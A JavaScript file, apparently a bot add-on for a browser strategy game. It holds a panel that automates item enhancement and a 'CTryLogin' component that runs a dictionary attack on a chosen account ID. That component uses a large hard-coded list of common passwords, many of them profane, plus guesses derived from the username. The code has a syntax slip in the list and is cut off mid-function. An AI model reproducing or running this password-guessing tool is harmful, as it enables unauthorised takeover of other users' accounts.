


/*
	 Center panel for ... 
*/


CEnhancePanel = function() {
		this.initialize();
};




CEnhancePanel.prototype = {
	objName:  'CEnhancePanel : ',
	
	// TODO : when user changed .. remove prev made elements !!!
	
	initialize: function() {
		// make ui components
		var self = this;
		this.row_idx = 0;
		this.rtemlist = [];
		debug.log(this, 'this', this, ' initialize ');

			$('#enhnace_panel')
				.append( $('<button>').text('Exit'))
				.append( $('<button>').text('Get!!!'))
				.append( $('<button>').text('DoEnhance!!!'))
				.append( $('<select>'))
				.append( $('<br/>'))
				.append( $('<p>',{'id': 'enhance_info_p'}))
				.append($('<table>', {id: 'tem_tbl', 'class':'ext_t_blds'}) )
				.show();
			
			// add  cstl index to select
			var cstls = CDB.getCurUserCtsl();
			$.each( cstls, function(i,c) {
				$('#enhnace_panel select')
					.append($('<option>').attr('value', i).text( i + c.name)	);
			});
			
			
			// add handler
/*
			$('#enhnace_panel select').change(function(){
				
			});*/

			 
			$('#enhnace_panel button').eq(0).click( function() {
				debug.log( self, 'clicked !!!! exit');
				$('#enhnace_panel').hide();
			});
			$('#enhnace_panel button').eq(1).click( function() {
				debug.log( self, 'clicked !!!! Get tem list ');
				setTimeout( function() { self.getTemList(1); } , 0 ) ; //W
				setTimeout( function() { self.getTemList(2); } , 300 ) ; //W
				setTimeout( function() { self.getTemList(5); } , 600 ) ; //W
				setTimeout( function() { self.getTemList(6); } , 900 ) ; //W
				setTimeout( function() { self.getTemList(4); } , 1200 ) ; //W
				// self.getTemList(2);  // Ar
				// self.getTemList(5);  // Mount 
				// self.getTemList(4); //  rin
				// self.getTemList(6); // B  
				
			});
			// do enhance 
			$('#enhnace_panel button').eq(2).click( function() {
				debug.log( self, 'clicked !!!! start enhnace ');
				
				console.log ( $('#tem_tbl :input:checked').val() );
				console.log ( $('#tem_tbl tr td :input:checked').val() );
				console.log ( $('#tem_tbl :checked').val() );
				console.log ( $('#tem_tbl tr :checked').val() );
				console.log ( $('#tem_tbl tr td :checked').val() );
				
				// get checked item 
				var sel_idx  = $('#tem_tbl :input:checked').val();
				
				if ( sel_idx === undefined ) {
					alert ( 'first Get list !!');
					return;
				}
				var tem_id  = self.rtemlist[sel_idx].id;
				var tem_type  = self.rtemlist[sel_idx].listtype;
				var tem_cost  = self.rtemlist[sel_idx].p;
				// var tem_id  = 612505;
				// var tem_type  = 1;
				// var tem_cost  = 900000;

				var cstl_idx  = 1;	// start at 0 
				// get cstl idx 
				var cstl_idx = $('#enhnace_panel select option:selected').val();
				
				// check g is enough .
				var cstl_res = em.cstlmgr.getCstl(cstl_idx).res;
				if ( cstl_res.g < tem_cost ) {
					alert('less g than req ' +  cstl_res.g  + ' < ' + tem_cost);
					return;
				}
				
				// set  mode 
				em.curOp |= em.Operation.ENHANCE;
				
				em.jobmonitor.addJob( {name: 'DoEnhance ', fn: em.jobmonitor.doEnhance, 
							param: { 'cstlidx': cstl_idx, 'id' :tem_id, 'type': tem_type } });
				em.jobmonitor.doMonitor();
				$('#enhnace_panel').hide();
			});
	},
	show: function() {
		$('#enhnace_panel').show();
	},
	
	// add tbl with tems 
	addTemsTbl: function(tems, listtype) {
		// {"id":123576,"sid":83,"attr":[0,0,0,0,0,23],"up":5,"p":120000},
		// sid , name,  att , up, cost , radio\
		var self = this;
		
		debug.log ( this, 'add tem to tbl' , tems, ' listtype: ' , listtype);
		
		$.each ( tems, function( n, tem) {
			var att= ''; 
			var attr_str = ['Ms:', 'Ar:', 'Ri:', 'Wa:', 'Bw:', 'Bd:'];
			var i=0;
			// dec due to mount.. sp & att, def 
			for ( i= attr_str.length -1; i > 0 ; i-- ) {
				att =  (tem.attr[i] > 0  ) ?  attr_str[i] + tem.attr[i]  : att;
			}
			
			debug.log ( self, 'tem ' , tem, att, tem.listtype, 'recv listtype: ', listtype);
			tem.listtype = listtype;
			
			$('#tem_tbl')
				.append( $('<tr>')
					.append( $('<td>').text(self.row_idx + n))
					.append( $('<td>').text(tem.id))
					.append( $('<td>').text(tem.sid))
					.append( $('<td>').text(tem.listtype))
					.append( $('<td>').text( CDB.TEM.SIDNAME[ tem.sid ]))
					.append( $('<td>').text(att))
					.append( $('<td>').text( '+' + tem.up))
					.append( $('<td>').text(tem.p))
	
					.append( $('<td>', {'width':'30px'}).append( $('<input type=radio>')
															.attr('name', 'tems' )   
															.attr('value', self.row_idx + n ))   
															)
				);		
		});
		
		this.row_idx += tems.length  ;
	},
	
	
	// get enchnace tem list by listtype 
	getTemList: function(listtype) {
			var self = this;
			debug.log(self,  'this', this, 'Get getTemList  '	);
			var jcb = $.Callbacks();
			
			jcb.add( function (data) {
				debug.log(self, 'this', this, 'listtype: ', listtype,  'got tems :', data);
				
				if ( !data || data.code != 0 ) {
					alert( 'get tem list ERROR !!');
					return;
				}
				
				var tems = data.ret.item;
				 /*
					 "code":0,"ret":{"item":[
{"id":95716,"sid":83,"attr":[0,0,0,0,0,23],"up":5,"p":120000},

],"per":60,"cd":0,"up":1}})
				 */
				
				// update per , & cd 
				$('#enhance_info_p').text ( 'per: ' + data.ret.per + ' cool:' + data.ret.cd );
				// filter rare tems 
				var rtems = tems.filter(function(el) {
					if ( el.attr[0] >= 8 ||		// M  : speed 
						 el.attr[1] >= 2000 ||	// A  
						 el.attr[2] >= 240 ||	// Ri   
						 el.attr[3] >= 20 ||	// W P
						 el.attr[4] >= 20 ||	// B : Wis
						 el.attr[5] >= 20 	// B : Def 
					) {
						// set tem listtype 
						// el.listtype = listtype;
						return true;
					}
				} );
				
				// add to tbl with rtems 
				self.addTemsTbl(rtems, listtype);
				
				debug.log( self, 'before retem ', rtems, listtype);
				$.each( rtems, function(_,tem) {tem.listtype = listtype;}); 
				debug.log( self, 'after  retem ', rtems, listtype);
				// concat to  rtemlist 
				self.rtemlist = self.rtemlist.concat(rtems);
			});
			em.tasks.getEnhanTemList(listtype, jcb);
	},
};






/*
	 try login 
*/




CTryLogin = function() {
		this.initialize();
};



CTryLogin.prototype = {
	objName:  'CTryLogin : ',


	pwTbl: [
		'12',
		'123',
		'1234',
		'12345',
		'123456',
		'1234567',
		'12345678',
		'123456789',
		'password',
		'iloveyou',
		'princess',
		'rockyou',
		'abc123',
		'nicole',
		'daniel',
		'babygirl',
		'monkey',
		'jessica',
		'lovely',
		'michael',
		'ashley',
		'654321',
		'qwerty',
		'qwert',
		'qwer',
		'qwe',
		'asdf',
		'aloveu',
		'1111',
		'11111',
		'0',
		'tigger',
		'password1',
		'sunshine',
		'angel',
		'friend',
		'friends',
		'soccer',
		'1212',
		'121212',
		'abcd',
		'ab12',
		'aa12',
		// most 500 
 '123456',	'porsche',	'firebird',	'prince',	'rosebud',
 'password',	'guitar'	, 'butter',	'beach',	'jaguar',
  '12345678',	'chelsea'	, 'united',	'amateur',	'great',
   '1234',	'black',	'turtle'	, '7777777',	'cool',
   'pussy',	'diamond',	'steelers',	'muffin',	'cooper',
    '12345',	'nascar',	'tiffany',	'redsox',	'1313',
    'dragon',	'jackson',	'zxcvbn',	'star',	'scorpio',
    'qwerty',	'cameron',	'tomcat',	'testing',	'mountain',
    '696969',	'654321',	'golf',	'shannon',	'madison',
 	'mustang',	'computer',	'bond007',	'murphy',	'987654',
 	'letmein',	'amanda',	'bear',	'frank',	'brazil',
 	'baseball',	'wizard',	'tiger',	'hannah',	'lauren',
 	'master',	'xxxxxxxx',	'doctor',	'dave',	'japan',
 	'michael',	'money',	'gateway',	'eagle1',	'naked',
 	'football',	'phoenix',	'gators',	'11111',	'squirt',
 	'shadow',	'mickey',	'angel',	'mother',	'stars',
 	'monkey',	'bailey',	'junior',	'nathan',	'apple',
 	'abc123',	'knight',	'thx1138',	'raiders',	'alexis',
 	'pass',	'iceman',	'porno',	'steve',	'aaaa',
 	'fuckme',	'tigers',	'badboy',	'forever',	'bonnie',
 	'6969',	'purple',	'debbie',	'angela',	'peaches',
 	'jordan',	'andrea',	'spider',	'viper',	'jasmine',
 	'harley',	'horny',	'melissa',	'ou812',	'kevin',
 	'ranger',	'dakota',	'booger',	'jake',	'matt',
 	'iwantu',	'aaaaaa',	'1212',	'lovers',	'qwertyui',
 	'jennifer',	'player',	'flyers',	'suckit',	'danielle',
 	'hunter',	'sunshine',	'fish',	'gregory',	'beaver',
 	'fuck',	'morgan',	'porn',	'buddy',	'4321',
 	'2000',	'starwars',	'matrix',	'whatever',	'4128',
 	'test',	'boomer',	'teens',	'young',	'runner',
 	'batman',	'cowboys',	'scooby',	'nicholas',	'swimming',
 	'trustno1',	'edward',	'jason',	'lucky',	'dolphin',
 	'thomas',	'charles',	'walter',	'helpme',	'gordon',
 	'tigger',	'girls',	'cumshot',	'jackie',	'casper',
 	'robert',	'booboo',	'boston',	'monica',	'stupid',
 	'access',	'coffee',	'braves',	'midnight',	'shit',
 	'love',	'xxxxxx',	'yankee',	'college',	'saturn',
 	'buster',	'bulldog',	'lover',	'baby',	'gemini',
 	'1234567',	'ncc1701',	'barney',	'cunt',	'apples',
 	'soccer',	'rabbit',	'victor',	'brian',	'august',
 	'hockey',	'peanut',	'tucker',	'mark',	'3333',
 	'killer',	'john',	'princess',	'startrek',	'canada',
 	'george',	'johnny',	'mercedes',	'sierra',	'blazer',
 	'sexy',	'gandalf',	'5150',	'leather',	'cumming',
 	'andrew',	'spanky',	'doggie',	'232323',	'hunting',
 	'charlie',	'winter',	'zzzzzz',	'4444',	'kitty',
 	'superman',	'brandy',	'gunner',	'beavis',	'rainbow',
 	'asshole',	'compaq',	'horney',	'bigcock',	'112233',
 	'fuckyou',	'carlos',	'bubba',	'happy',	'arthur',
 	'dallas',	'tennis',	'2112',	'sophie',	'cream',
 	'jessica',	'james',	'fred',	'ladies',	'calvin',
 	'panties',	'mike',	'johnson',	'naughty',	'shaved',
 	'pepper',	'brandon',	'xxxxx',	'giants',	'surfer',
 	'1111',	'fender',	'tits',	'booty',	'samson',
 	'austin',	'anthony',	'member',	'blonde',	'kelly',
 	'william',	'blowme',	'boobs',	'fucked',	'paul',
 	'daniel',	'ferrari',	'donald',	'golden',	'mine',
 	'golfer',	'cookie',	'bigdaddy',	'0',	'king',
 	'summer',	'chicken',	'bronco',	'fire',	'racing',
 	'heather',	'maverick',	'penis',	'sandra',	'5555',
 	'hammer',	'chicago',	'voyager',	'pookie',	'eagle',
 	'yankees',	'joseph',	'rangers',	'packers',	'hentai',
 	'joshua',	'diablo',	'birdie',	'einstein',	'newyork',
 	'maggie',	'sexsex',	'trouble',	'dolphins',	'little',
 	'biteme',	'hardcore',	'white',	'0',	'redwings',
 	'enter',	'666666',	'topgun',	'chevy',	'smith',
 	'ashley',	'willie',	'bigtits',	'winston',	'sticky',
 	'thunder',	'welcome',	'bitches',	'warrior',	'cocacola',
 	'cowboy',	'chris',	'green',	'sammy',	'animal',
 	'silver',	'panther',	'super',	'slut',	'broncos',
 	'richard',	'yamaha',	'qazwsx',	'8675309',	'private',
 	'fucker',	'justin',	'magic',	'zxcvbnm',	'skippy',
 	'orange',	'banana',	'lakers',	'nipples',	'marvin',
 	'merlin',	'driver',	'rachel',	'power',	'blondes',
 	'michelle',	'marine',	'slayer',	'victoria',	'enjoy',
 	'corvette',	'angels',	'scott',	'asdfgh',	'girl',
 	'bigdog',	'fishing',	'2222',	'vagina',	'apollo',
 	'cheese',	'david',	'asdf',	'toyota',	'parker',
 	'matthew',	'maddog',	'video',	'travis',	'qwert',
 	'121212',	'hooters',	'london',	'hotdog',	'time',
 	'patrick',	'wilson',	'7777',	'paris',	'sydney',
 	'martin',	'butthead',	'marlboro',	'rock',	'women',
 	'freedom',	'dennis',	'srinivas',	'xxxx',	'voodoo',
 	'ginger',	'fucking',	'internet',	'extreme',	'magnum',
 	'blowjob',	'captain',	'action',	'redskins',	'juice',
 	'nicole',	'bigdick',	'carter',	'erotic',	'abgrtyu',
 	'sparky',	'chester',	'jasper',	'dirty',	'777777',
 	'yellow',	'smokey',	'monster',	'ford',	'dreams',
 	'camaro',	'xavier',	'teresa',	'freddy',	'maxwell',
 	'secret',	'steven',	'jeremy',	'arsenal',	'music',
 	'dick',	'viking',	'11111111',	'access14',	'rush2112',
 	'falcon',	'snoopy',	'bill',	'wolf',	'russia',
 	'taylor',	'blue',	'crystal',	'nipple',	'scorpion',
 	'111111',	'eagles',	'peter',	'iloveyou',	'rebecca',
 	'131313',	'winner',	'pussies',	'alex',	'tester',
 	'123123',	'samantha',	'cock',	'florida',	'mistress',
 	'bitch',	'house',	'beer',	'eric',	'phantom',
 	'hello',	'miller',	'rocket',	'legend',	'billy',
 	'scooter',	'flower',	'theman',	'movie',	'6666',
	'please',	'jack',	'oliver',	'success',	'albert',	
	// most 1000
	'123456',
   '12345',
   '123456789',
   'password',
'iloveyou',
   'princess',
   '1234567',
   'rockyou',
   '12345678',
  'abc123',
  'nicole',
  'daniel',
  'babygirl',
  'monkey',
  'lovely',
  'jessica',
  '654321',
  'michael',
  'ashley',
  'qwerty',
  '111111',
  'iloveu',
  '000000',
  'michelle',
  'tigger',
  'sunshine',
  'chocolate',
  'password1',
  'soccer',
  'anthony',
  'friends',
  'butterfly',
  'purple',
  'angel',
  'jordan',
  'liverpool',
  'justin',
  'loveme',
  'fuckyou',
  '123123',
  'football',
  'secret',
  'andrea',
  'carlos',
  'jennifer',
  'joshua',
  'bubbles',
  '1234567890',
  'superman',
  'hannah',
  'amanda',
  'loveyou',
  'pretty',
  'basketball',
  'andrew',
  'angels',
  'tweety',
  'flower',
  'playboy',
  'hello',
  'elizabeth',
  'hottie',
  'tinkerbell',
  'charlie',
  'samantha',
  'barbie',
  'chelsea',
  'lovers',
  'teamo',
  'jasmine',
  'brandon',
  '666666',
  'shadow',
  'melissa',
  'eminem',
  'matthew',
  'robert',
  'danielle',
  'forever',
  'family',
  'jonathan',
  '987654321',
  'computer',
  'whatever',
  'dragon',
  'vanessa',
  'cookie',
  'naruto',
  'summer',
  'sweety',
  'spongebob',
  'joseph',
  'junior',
  'softball',
  'taylor',
  'yellow',
  'lauren',
  'daniela',
  'mickey',
 'princesa',
 'alexandra',
 'alexis',
 'jesus',
 'estrella',
 'miguel',
 'william',
 'thomas',
 'beautiful',
 'mylove',
 'angela',
 'patrick',
 'poohbear',
 'iloveme',
 'sakura',
 'adrian',
 'destiny',
 'alexander',
 'christian',
 '121212',
 'sayang',
 'america',
 'dancer',
 'monica',
 'richard',
 '112233',
 'princess1',
 '555555',
 'diamond',
 'carolina',
 'steven',
 'rangers',
 'louise',
 'orange',
 '789456',
 '999999',
 'snoopy',
 '11111',
 'nathan',
 'shorty',
 'gabriel',
 'hunter',
 'cherry',
 'killer',
 'sandra',
 'alejandro',
 'buster',
 'george',
 'brittany',
 'alejandra',
 'patricia',
 'rachel',
 'tequiero',
 'cheese',
 '7777777',
 '159753',
 'arsenal',
 'dolphin',
 'antonio',
 'ginger',
 'heather',
 'david',
 'stephanie',
 'peanut',
 'blink182',
 'sweetie',
 '222222',
 '987654',
 'beauty',
 'pokemon',
 'victoria',
 'honey',
 '00000',
 'fernando',
 'maggie',
 'chicken',
 'corazon',
 'pepper',
 'rainbow',
 'cristina',
 'kisses',
 'manuel',
 'myspace',
 'rebelde',
 'angel1',
 'ricardo',
 'babygurl',
 'heaven',
 'baseball',
 '55555',
 'martin',
 'greenday',
 'november',
 'alyssa',
 'madison',
 '123321',
 'mother',
 '123abc',
 'batman',
 'mahalkita',
 'september',
 'december',
 'morgan',
 'mariposa',
 'maria',
 'gabriela',
 'iloveyou2',
 'bailey',
 'pamela',
 'jeremy',
 'gemini',
 'shannon',
 'kimberly',
 'pictures',
 'asshole',
 'sophie',
 'jessie',
 'hellokitty',
 'claudia',
 'angelica',
 'babygirl1',
 'austin',
 'horses',
 'victor',
 'mahalko',
 'tiffany',
 'mariana',
 'eduardo',
 'courtney',
 'andres',
 'booboo',
 'harley',
 'kissme',
 'ronaldo',
 'iloveyou1',
 'october',
 'precious',
 'inuyasha',
 'peaches',
 'veronica',
 'chris',
 '888888',
 'adriana',
 'james',
 'cutie',
 'banana',
 'prince',
 'friend',
 'jesus1',
 'crystal',
 'celtic',
 'oliver',
 'zxcvbnm',
 'edward',
 'diana',
 'samsung',
 'freedom',
 'angelo',
 'kenneth',
 'master',
 'scooby',
 'sebastian',
 'carmen',
 '456789',
 'rebecca',
 'jackie',
 'spiderman',
 'johnny',
 'karina',
 'christopher',
 'hotmail',
 'school',
 '0123456789',
 'barcelona',
 'august',
 'orlando',
 'samuel',
 'cameron',
 'slipknot',
 'cutiepie',
 'monkey1',
 'bonita',
 '50cent',
 'kevin',
 'bitch',
 'casper',
 'maganda',
 'babyboy',
 'brenda',
 'kitten',
 'adidas',
 'karen',
 'mustang',
 'isabel',
 'natalie',
 'cuteako',
 'javier',
 '789456123',
 'sarah',
 '123654',
 'bowwow',
 '777777',
 'portugal',
 'marvin',
 'laura',
 'tigers',
 'denise',
 'jasper',
 'volleyball',
 'rockstar',
 'january',
 'nicholas',
 'fuckoff',
 'alicia',
 'flowers',
 'cristian',
 'bianca',
 'tintin',
 'chester',
 'chrisbrown',
 'smokey',
 '101010',
 'silver',
 'internet',
 'sweet',
 'dennis',
 'strawberry',
 'garfield',
 'cassie',
 'panget',
 'francis',
 'benfica',
 '696969',
 'love123',
 'asdfgh',
 'lollipop',
 'olivia',
 'cancer',
 'camila',
 'qwertyuiop',
 'superstar',
 'harrypotter',
 'charles',
 'ihateyou',
 'midnight',
 'monique',
 'vincent',
 'christine',
 'apples',
 'scorpio',
 'jordan23',
 'lorena',
 'mercedes',
 'katherine',
 'andreea',
 'charmed',
 'icecream',
 'abigail',
 'rafael',
 'mexico',
 'brianna',
 'nirvana',
 'pookie',
 'aaliyah',
 'lovelove',
 'johncena',
 'fucker',
 'abcdef',
 '131313',
 'benjamin',
 'gangsta',
 'brooke',
 '333333',
 'hiphop',
 'aaaaaa',
 'welcome',
 'mybaby',
 'sergio',
 'metallica',
 'travis',
 'julian',
 'myspace1',
 'sabrina',
 'babyblue',
 'michael1',
 'jeffrey',
 'love',
 'stephen',
 'dakota',
 'catherine',
 'badboy',
 'fernanda',
 'westlife',
 'blondie',
 'sasuke',
 'jackson',
 'smiley',
 'simple',
 'melanie',
 'steaua',
 'roberto',
 'dolphins',
 'fluffy',
 'teresa',
 'piglet',
 'ronald',
 'asdfghjkl',
 'slideshow',
 'minnie',
 'newyork',
 'jason',
 'raymond',
 'santiago',
 '88888888',
 'muffin',
 'jayson',
 '5201314',
 'jerome',
 'gandako',
 'gatita',
 '246810',
 'babyko',
 'kitty',
 'sweetheart',
 'alberto',
 'chivas',
 'ladybug',
 'popcorn',
 'cookies',
 'valeria',
 'leslie',
 'jenny',
 'nicole1',
 '12345678910',
 'leonardo',
 '232323',
 'jayjay',
 'dexter',
 'liliana',
 'amores',
 'sexygirl',
 'rockon',
 'christ',
 'babydoll',
 'marcus',
 'anthony1',
 'bitch1',
 'lover',
 'miamor',
 'fatima',
 'chris1',
 'single',
 'eeyore',
 'lalala',
 'scooter',
 '252525',
 'natasha',
 'skittles',
 'brooklyn',
 '159357',
 'colombia',
 'happy',
 'winnie',
 'teddybear',
 'manutd',
 '123456a',
 'britney',
 'katrina',
 'christina',
 'cocacola',
 'pasaway',
 'albert',
 'mahal',
 'grace',
 'london',
 'linda',
 'tatiana',
 'lakers',
 '0123456',
 'cantik',
 'marie',
 'teiubesc',
 '147258369',
 'charlotte',
 'natalia',
 'francisco',
 'smile',
 'amorcito',
 'paola',
 'angelito',
 'hahaha',
 'manchester',
 'elephant',
 'shelby',
 'mommy1',
 '147258',
 'kelsey',
 'amigos',
 'genesis',
 'turtle',
 'xavier',
 'snickers',
 'stupid',
 'marlon',
 'linkinpark',
 'claire',
 'marina',
 '147852',
 'garcia',
 'fuckyou1',
 'diego',
 'brandy',
 'letmein',
 'hockey',
 'bonnie',
 '444444',
 'sharon',
 'spider',
 'iverson',
 'andrei',
 'rabbit',
 'frankie',
 'justine',
 'disney',
 'pimpin',
 '54321',
 'fashion',
 'soccer1',
 'red123',
 'bestfriend',
 'england',
 'hermosa',
 'qazwsx',
 'bandit',
 '456123',
 'danny',
 'allison',
 'emily',
 'lucky1',
 'dallas',
 '102030',
 'miranda',
 'sporting',
 'camille',
 'wilson',
 'hearts',
 'potter',
 'pumpkin',
 'guitar',
 'katie',
 'iloveu2',
 'number1',
 'phoenix',
 'monster',
 '212121',
 'truelove',
 'savannah',
 'jayden',
 'hottie1',
 'player',
 'people',
 'ganda',
 'timothy',
 'scotland',
 'nelson',
 'jasmin',
 'onelove',
 'shakira',
 'ilovehim',
 'estrellita',
 'bubble',
 'sparky',
 'smiles',
 'brandon1',
 'barney',
 'sweets',
 'evelyn',
 'florida',
 'parola',
 'nikki',
 'familia',
 'motorola',
 'love12',
 'omarion',
 'monkeys',
 'canada',
 'elijah',
 'joanna',
 'loverboy',
 'thunder',
 'emmanuel',
 'ronnie',
 '999999999',
 'mamita',
 'broken',
 'rodrigo',
 'lucky',
 'maryjane',
 'california',
 'westside',
 'yankees',
 'mauricio',
 'jackass',
 'jamaica',
 'justin1',
 'amigas',
 'shopping',
 'preciosa',
 'matrix',
 'tennis',
 'mariah',
 'flores',
 'isabella',
 'trinity',
 'bradley',
 'sunflower',
 'kathleen',
 'jorge',
 'hector',
 'cupcake',
 'elaine',
 'martinez',
 'robbie',
 'gracie',
 'hello1',
 'valentina',
 'friendster',
 'connor',
 'cheche',
 'sammy',
 'melody',
 'darling',
 'jamie',
 'candy',
 'abcdefg',
 'santos',
 'joanne',
 'loser',
 'fuckyou2',
 'dominic',
 'pebbles',
 'swimming',
 'sunshine1',
 'millie',
 'loving',
 'compaq',
 'gangster',
 'blessed',
 'taurus',
 'gloria',
 'aaron',
 'tyler',
 'kitkat',
 'darkangel',
 'megan',
 'dreams',
 'sweetpea',
 'jessica1',
 'ferrari',
 'cynthia',
 'cheyenne',
 'bettyboop',
 'snowball',
 'dustin',
 'a123456',
 'purple1',
 'iubire',
 'starwars',
 'violet',
 'darren',
 'kelly',
 'bestfriends',
 'inlove',
 'biteme',
 'batista',
 'sophia',
 'chacha',
 'karla',
 'sydney',
 'marian',
 'sexyme',
 '010203',
 'gerald',
 'pogiako',
 'jordan1',
 'daddy1',
 'zachary',
 'daddysgirl',
 'carebear',
 'billabong',
 'oscar',
 'froggy',
 'pinky',
 'raiders',
 'erika',
 'skater',
 'nenita',
 'tigger1',
 'gatito',
 'charlie1',
 'ashley1',
 'buttercup',
 'lokita',
 'maldita',
 'nichole',
 'bambam',
 'nothing',
 'amber',
 'glitter',
 'apple',
 'bella',
 '123789',
 'sister',
 'zacefron',
 'tokiohotel',
 'money',
 'lindsey',
 'loveya',
 'lovebug',
 'bubblegum',
 'darkness',
 'dreamer',
 'cecilia',
 'google',
 'marissa',
 'lollypop',
 'cooper',
 'nicolas',
 'lindsay',
 'green',
 'passion',
 'ariana',
 'kristine',
 'fuckme',
 'puppies',
 'chubby',
 'raquel',
 'lonely',
 'anderson',
 'sammie',
 'butter',
 'willow',
 'mario',
 'caroline',
 'sexybitch',
 'mememe',
 'susana',
 'roxana',
 'kristen',
 'carter',
 'hotstuff',
 'baller',
 'stacey',
 'scorpion',
 'sierra',
 'miller',
 'babylove',
 'angelina',
 'sweet16',
 '012345',
 'rocker',
 'playgirl',
 'marcos',
 'gustavo',
 'bhebhe',
 '123qwe',
 'kayla',
 'chance',
 'eagles',
 'james1',
 'football1',
 'loveme1',
 'milagros',
 'stella',
 'rocky',
 'catdog',
 'beyonce',
 'lovely1',
 'lilmama',
 'daddy',
 'armando',
 'margarita',
 '151515',
 'lolita',
 '202020',
 'loves',
 'gerard',
 'freddy',
 'undertaker',
 'williams',
 'amistad',
 'qwerty1',
 'caitlin',
 'bryan',
 'delfin',
 'capricorn',
 'dance',
 'password2',
 'martha',
 'lizzie',
 'PASSWORD',
 'cheerleader',
 '11111111',
 'georgia',
 'zxcvbn',
 'matthew1',
 'booger',
 'enrique',
 '141414',
 'dancing',
 'badgirl',
 'andrew1',
 'vampire',
 'skyline',
 'cuteme',
 'chiquita',
 'amelia',
 'scoobydoo',
 'angeles',
 'janine',
 'yamaha',
 'tamara',
 'ireland',
 'carlitos',
 'money1',
 'sheila',
 'kittycat',
 'justme',
 'hotdog',
 'tristan',
 'legolas',
 'harvey',
 'maddie',
 'israel',
 'michelle1',
 'angie',
 'jesuschrist',
 'cinderella',
 'lester',
 'xxxxxx',
 'ashton',
 'thebest',
 'ilovejesus',
 'tazmania',
 'remember',
 'buddy1',
 'paloma',
 'lucky7',
 'tekiero',
 'deedee',
 'princesita',
 'peewee',
 'jesucristo',
 'patches',
 'regina',
 'miriam',
 'cowboys',
 'april',
 'rosita',
 'janice',
 'felipe',
 'myself',
 'lipgloss',
 'happy1',
 'jazmin',
 'chichi',
 'pangit',
 'genius',
 'walter',
 'mierda',
 'arturo',
 '741852963',
 'tinker',
 'awesome',
 'hernandez',
 'melvin',
 'celeste',
 'silvia',
 'pussycat',
 'molly',
 'gorgeous',
 'david1',
 'animal',
 'penguin',
 'mylife',
 'honeyko',
 'loveu',
 'babyboo',
 'boomer',
 'simpsons',
 'lupita',
 'johnson',
 'panthers',
 'hollywood',
 'alfredo',
 'musica',
 'ilovegod',
 'hawaii',
 'sparkle',
 'kristina',
 'winter',
 'hardcore',
 'valerie',
 'crazy',
 'spencer',
 'sexymama',
 'scarface',
 '098765',
 '00000000',
 'hailey',
 'trixie',
 'hayden',
 'micheal',
 '242424',
 'wesley',
 '0987654321',
 'daisy',
 'nikita',
 'marisol',
 'murphy',
 'pineapple',
 'jeremiah',
 'isaiah',
 'christmas',
 'cesar',
 'mhine',
 'lolipop',
 'chloe',
 'butterfly1',
 'lawrence',
 'gateway',
 'debbie',
 'xbox360',
 'sheena',
 'madalina',
 'yourmom',
 'blonde',
 'anamaria',
 'please',
 'beatriz',
 'jimmy',
 'jasmine1',
 'bubbles1',
 'whitney',
 'poopoo',
 'diamonds',
 'barbara',
 'trouble',
 'united',
 'sweetness',
 'friendship',
 'desiree',
 'brian',
 'pauline',
 '741852',
 'marley',
 'bananas',
 'sandy',
 'hannah1',
 'julius',
 'leanne',
 'chicago',
 'twinkle',
 'marie1',
 'qwert',
 'lover1',
 'anita',
 'pantera',
 '87654321',
 'birthday',
 'shadow1',
 'february',
 'twilight',
 'tucker',
 'bebita',
 'ashlee',
 'imissyou',
 'pollito',
 'shelly',
 'cookie1',
 'catalina',
 '147852369',
 'beckham',
 '123123123',
 'simone',
 'eugene',
 'nursing',
 'damian',
 'iloveyou',!
 'torres',
 'panther',
 'donald',
 'joshua1',
 'bobby',
 'babyface',
 'andre',
 'trustno1',
 'mommy',
 'daniel1',

	],	
	
	
// btn :  start / exit

// input <  id 
// P : pass : ok / fail 

	initialize: function() {
		// make ui components
		var self = this;
		this.row_idx = 0;
		this.rtemlist = [];
		debug.log(this, 'this', this, ' initialize ');

		// set default info. 
		CDB.setCurUser('greatkhan');
		// set base configuration 
		CQuery.setQueryOptions();

		// make ui 
		$('#trylogin_panel')
			.append( $('<button>').text('Exit'))
			.append( $('<button>').text('Try!!!'))
			.append( $('<button>').text('STop'))
			.append( $('<br/>'))
			.append( $('<span>').text('ID:'))
			.append( $('<span>')
				.append( $('<input type=text>',{'id':'try_id_input', 'name': 'try_id'})) ) 
			.append( $('<br/>'))
			.append( $('<div>', {'id': 'try_pwlist'}))
			.show();


		// add event cb 
		if ( ! this.resultcb ) {
				em.cbs.userlogin.add( this.resultcb = function(type, o) { self.resultLogin(type, o);} );		// unique check !!!  
			}
			
			// add handler
			$('#trylogin_panel button:first').click( function() {
				debug.log( self, 'clicked !!!! exit');
				$('#trylogin_panel').hide();
			});
			
			// stop 
			$('#trylogin_panel button:last').click( function() {
				debug.log( self, 'clicked !!!! stop');
				self.stop = true;
			});
			
			// start try .. 
			$('#trylogin_panel button').eq(1).click( function() {
				
				// clear prev result 
				$('#try_pwlist').empty();
				
				debug.log( self, 'clicked !!!! Get tem list ');
				console.log(  $('#trylogin_panel > span :input') );
				console.log(  $('#trylogin_panel > span:eq(1) :input').val() );
				// console.log(  $('#trylogin_panel > span :input') );
				// console.log(  $('#trylogin_panel > span :input') );
				// console.log(  $('#trylogin_panel > :input').eq(3).val() );
				// console.log(  $('#trylogin_panel > :input').eq(3).val() );
				// console.log(  $('#trylogin_panel:input') );
				// console.log(  $('#trylogin_panel > #try_id_input:input') );
				// console.log(  $('#try_id_input :input') );
				// console.log(  $('#trylogin_panel > #try_id_input:input') );
				// console.log(  $('#trylogin_panel > :input#try_id_input').val() );
				// console.log(  $('#try_id_input').val() );
				// console.log(  $('#try_id_input:input').val() );
				// console.log(  $('#try_id_input :input').eq(0).val() );
				
				self.cur_id =  $('#trylogin_panel > span:eq(1) :input').val();
				
				
				// make pws table unique
				
				function makeUnique(arr) {
				    var a = [];
				    var l = arr.length;
				    for(var i=0; i<l; i++) {
				      for(var j=i+1; j<l; j++) {
				        // If this[i] is found later in the array
				        if (arr[i] === arr[j])
				          j = ++i;
				      }
				      a.push(arr[i]);
				    }
				    return a;
				  };
				  
				 self.pwTbl=  makeUnique( self.pwTbl);
				 debug.log( this, ' Pws Table Len :', self.pwTbl.length);
				// push id to pw tbl 
				self.pwTbl.unshift(self.cur_id);
				
				//alert( self.cur_id);
				// add pws related its name
				var email_regex = /(\w+)/;
				var email_name = email_regex.exec(self.cur_id);
				
				if ( email_name ){
					self.pwTbl.unshift(email_name[0]);
				}

				// except number 
				var name_regex = /([a-zA-Z]+)/;
				var name_nonum = name_regex.exec(self.cur_id);
				if ( name_nonum )
					self.pwTbl.unshift(name_nonum[0]);
				
				/// only num 
				var num_regex = /([0-9]+)/;
				var only_num = num_regex.exec(self.cur_id);
				if ( only_num )
